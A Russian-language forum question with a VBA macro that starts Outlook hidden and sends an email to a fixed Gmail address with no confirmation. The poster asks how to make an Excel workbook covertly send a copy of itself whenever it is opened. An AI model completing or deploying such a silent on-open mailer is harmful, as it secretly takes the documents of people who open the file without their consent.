Здравствуйте. При открытии файла нужно скрыто (без подтверждений на отправку) отправить на заданную электронную почту этот же файл. На сайте нашел два кода https://www.planetaexcel.ru/techniques/3/48/ которые совместил. Он шлет лист по указаному адресу и без подтверждений но лист приходит пустой без файла. Что нужно прописать для прикрепление к листу файла который открыт.
Код
Sub SendMail()
Dim OutApp As Object
Dim OutMail As Object
Dim cell As Range
Application.ScreenUpdating = False
Set OutApp = CreateObject("Outlook.Application") 'запускаем Outlook в скрытом режиме
OutApp.Session.Logon
On Error GoTo cleanup 'если не запустился - выходим
Set OutMail = OutApp.CreateItem(0) 'создаем новое сообщение
On Error Resume Next
'заполняем поля сообщения
With OutMail
.To = "3333333333@gmail.com" 'Кому
.Subject = "Курс валют" 'Тема письма
'команду Send можно заменить на Display, чтобы посмотреть сообщение перед отправкой
.Send
End With
On Error GoTo 0
Set OutMail = Nothing
cleanup:
Set OutApp = Nothing
Application.ScreenUpdating = True
End Sub